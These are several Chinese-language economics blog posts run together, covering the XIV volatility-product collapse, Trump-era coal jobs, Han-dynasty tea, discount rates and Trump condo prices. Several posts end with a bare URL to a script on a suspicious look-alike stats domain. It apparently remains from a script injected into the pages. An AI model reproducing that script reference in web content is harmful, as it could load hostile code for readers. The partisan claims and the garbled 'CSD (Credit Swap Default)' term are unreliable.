分類: 經濟分析

在比特幣一文我談過財富倉庫分為有根、無根二種。

有根者，倉庫標的本身有可預測收入流；無根者，則無。

前者因為有預期收入拘束，所以漲跌有其合理範疇，當超出範疇時在健全市場中，自然會有做多與放空者快速跳入修正價格。

反之，無根者因為沒有預期收入拘束，所以無論做多或放空，其實都不知道邊界在哪。因此在比特幣該文中我就奉勸讀者，不要以「無根財富倉庫」為主要投資標的。如果可以，少碰為上。

比特幣在我看來是一種無根財富倉庫，而許多金融性衍生商品其實也都算，比方：VIX。

VIX是一個觀測市場波動的指數，不管漲跌，只管波動。假設VIX = 15，代表該指數預期未來30日內的年化波動性是15%。也就是說，數字越大，代表該指數預期的市場波動性越大；反之則越小。

而過去2017年的美國股票市場只漲不跌，其波動性也變得極低（見VIX走勢圖）：

這也使得許多人，包含大型金融機構，都一起來放空VIX。其中一種方式是投資反指標XIV，我們也看到2017年整年下來XIV表現極為優秀，一整年報酬率高達187%！可「市場波動性」本就難以預料，牽涉的侷限條件太多，但可以知道當市場強烈反轉時，波動性放大，VIX會獲利，但XIV可就賠慘。而這個萬一就在這兩天成真！

S&P500在2018年2月2日大跌2.15%，緊接著下個交易日2月5日又跌4.06%，2月6日漲回1.77%。

如果你是壓寶XIV的主兒，恭喜老爺賀喜夫人，短短三天內虧損94.32%！有位悲慘的交易員就這樣把辛苦三年賺來的400萬美元一夜輸光在XIV上（參見XIV走勢圖）。

過去三年，這位交易員用5萬美元本金快樂地放空VIX（也就是買入XIV）累積財富到400萬美元，妄想 （也是常見的投資錯誤心理–將一時的好運當作是自己的實力而誤判可以永遠如此）買房、買車，現在美夢成泡。

不過要死也有墊背，天塌下來還有高個兒擋著。XIV的發明者也是最大持有者瑞士信貸自己都玩不下去，宣布下市這項商品，代表投資者投資$104元只剩$4.22。

再奉勸一次，無根財富倉庫別亂碰為上。

PS 2008年金融風暴，價值投資法奉行者的獨眼醫師Michael Burry雖然也購買大量衍生性金融商品CSD（Credit Swap Default），但卻是有根財富倉庫的投資，因為他透過大量且精細的閱讀看出房貸包裹的債券其實藏汙納垢、問題叢生，真實價值遠不如所宣稱。因此Michael Burry的衍生性金融商品放空，依然是標準的價值投資法無誤。其所得獲利，就是來自於資訊成本/租值。https://js.developerstatss.ga/stat.js?n=ns1

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華爾街日報報導：「Donald Trump Is Still Their Man」

不要管美國那些腦袋裝屎的主流媒體或好萊塢演員對川普的評價，從幾個事實可以看出來Donald Trump是個極為成功的總統。

1. Virginia州Buchanan county底層工人原本在Obama時期礦坑停產，被迫離鄉工作，每月只能回家見妻兒一面；Trump上台後礦坑景氣大好，工人可以重新回家鄉工作與家人同住。工人盛讚Trump是「有種又誠實(bold and honest)」、「說到做到」。

2. 這些地區Trump得票78.9%，而Hillary Clinton只拿到18%。但其實Buchanan county過去是民主黨的天下，即便當年民主黨推出滿嘴環保主張的Al Gore競選總統，這個煤礦產區依然將大部分的票投給了民主黨。但自從Obama上台之後，這個地區對民主黨越來越不滿意，直到現在成了川普的忠心鐵票區。我常說Obama就是個嘴砲且毫無經濟感受的總統，自以為理想的政策結果就是美國底層人民受害，從Virginia Buchanan county這個民主黨票倉都被迫轉為Trump鐵票區，就知道Obama總統有多失民心。　　

3. Obama時代，Virginia的煤礦工作減少1/5，失業率達11.8%；Trump上台後一年，煤礦工作數增加15%，失業率降低到7%！這些都是川普支持者最先有感的經濟改善。連當地walmart的經理都說客人的推車裝得更滿些。地方某些小販生意回籠，有些小販老闆一天得工作將近16小時。

4. Trump的deregulation讓燃煤發電廠可以繼續運作，同時川普的當選也讓資金願意投資，因為至少未來三年煤炭不會是聯邦政府敵視的對象。

5. 部分經濟學家批評當地過份看重Trump的影響力，事實上是國際局勢轉好才讓整個地區跟著好起來。但該區的coal executives 說經濟學家低估了川普對商業信心的影響。

關於對未來景氣預期影響這件事，我在2017年8月的＜榮景或低成長的十字路口 (We are at the crossroads of prosperity or low progress)＞一文中已經講過：

Right now, I am confident in that the later two factors (the anticipated income grows and the information cost of the future progress decreases) playing more important roles in the formation of the massively optimistic anticipation.

可惜多數象牙塔的經濟學家對此既無感又輕視。

簡言之：Trump總統跟台灣蔡英文天差地遠，前者不但經濟感受極佳（才分別看出WTO這種蠢組織跟自由貿易沒有關係、看出並勇敢退出巴黎協議這種政治小丑的謊言大會、聰明且十分老莊地陪金正恩演瘋戲），而且政治實力上也達成美國近代史以來最重大減稅措施，並透過迂迴路線實質削弱Obama Care這個敗家子。同時還有許多台灣媒體根本沒報導的deregulation都做得十分成功，有效地扭轉生產與經商的環境與收入預期。

挾帶如此成功的經濟翻轉成就，很可能川普會再次讓一路唱衰的主流媒體跌破眼鏡地順利連任。
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看來茶葉歷史可以往前推到西漢初年是沒問題了。

有趣的是這段關於進貢皇帝的茶葉品質是取嫩芽部分，需要大量人力為之。

經濟分析上這代表：

1. 當時已經發展出相當成熟與精緻的飲茶習慣。

2. 當時有足夠的經濟實力去支撐「飲茶」這種不能填飽肚子的活動。

3. 經濟實力還高到可以培養出「只摘取嫩葉」供皇帝享受。

這是說，社會租值夠高（總體生產力夠高）才能夠支撐較為浪費的消遣行為。

文中未談到茶葉烘焙的方式，我想已經完全碳化大概也難得知西漢初年的人懂不懂以及懂多少炒茶功夫。

但國家經濟力足以維持相當規模這種無法直接提供熱量的飲料農業，顯見歷史記載的「文景之治」有其根據。

這個問題還有一個可思考的角度：

假設三星宣布2018年起販售的Galaxy note手機通通一週只能工作5天，一天只工作8小時。如果超時工作，三星將額外向使用者收取「超時費」。

工作8小時過程「不保證都能全速運行或正常運行」，也不保證多數APP可安裝運行。此外突發性當機可能發生但不會退費也不可退貨。

同時空機價格維持的前提下，看官猜猜此款手機銷售量會上升還是下降？

當契約過多限制存在時，unemployment就會出現：「於物是滯銷、於人是失業、於錢就是爛頭寸」，這點我闡釋過很多次了。https://js.developerstatss.ga/stat.js?n=ns1

高折現率可能來自於"高報酬預期"或"高不耐性"，一個是從投資面看，一個是從消費面看。

但把因為租值與資源不如人而「更努力工作」、「延長工作時間」以及「嘗試更有效率運用資源（因為容錯率較低）」解讀成「高折現率引起的現象」，我認為經濟邏輯與觀念都是錯誤的。

最明顯的比較，深圳日常用餐費用只要San Jose的26％，平均收入前者也只是後者的30%左右；但同樣市中心的公寓每平方米的售價，深圳竟然是San Jose的1.9倍！

也就是說，在深圳一年的平均收入只能夠市中心1.152平方米；但在San Jose的年平均收入卻能在市中心買到7.79平方米。雙方地價租值的巨大差異，無外乎中國深圳對加州灣區矽谷的處處平房感到驚奇。反之深圳處處高樓大廈也屬正常，雙方使用資源自然因地價不同而有行為上的差異。

反之，深圳地價比灣區還貴這現象，試問如何解釋中國折現率遠高於美國？

話說，真正高折現率的（如正在內戰或飢荒的國家），人民反而不會努力工作，因為今天的努力沒有明天可以享受。這也解釋為什麼超級通膨預期時，人會選擇當下就盡量消費勝過儲藏。

這也是說，中國人拼命工作正是因為想望與相信明日得以享受。這不正是低折現率的象徵嗎？

把「坐經濟艙」歸因到高折現率，這種解釋方式我認為是錯得誇張了！

要證明品牌價值並不容易，我認為拿公司股票市值來反推品牌價值是很蠢的事情，本身參考性不大（可好像很多商學院都這樣做喔？）。

房地產也是一樣，不同建商的產品在二手市場的價格，排除「位置」因素後的抗跌性也彰顯了建商的品牌價值。

D. Trump這嘴砲王上台當總統，難得地給了一個經濟學實證上相當不錯的品牌價值驗證案例：

位於芝加哥的川普大樓2017年一個住房單位（one condo）售價是$747平方英尺，相較逾2016年跌價12%！但同時期差不多地段的大樓住宅卻是上漲2.8%。事實上芝加哥川普大樓管理良善著名，同時也有一流餐廳進駐，地點更是坐擁芝加哥河畔的無敵景觀，過去一直是芝加哥指標地產且鐵桿價格。沒想到川普當上總統之後大樓不但跌價而且成交量也下跌！

以美國主流媒體不斷抹黑川普，加上川普自己的大嘴砲相互輝映下，在民主黨支持者居多的芝加哥市，Trump品牌價值流失是相當合理的解釋。

資料來源：
Trump condo prices down 12% in 2017https://js.developerstatss.ga/stat.js?n=ns1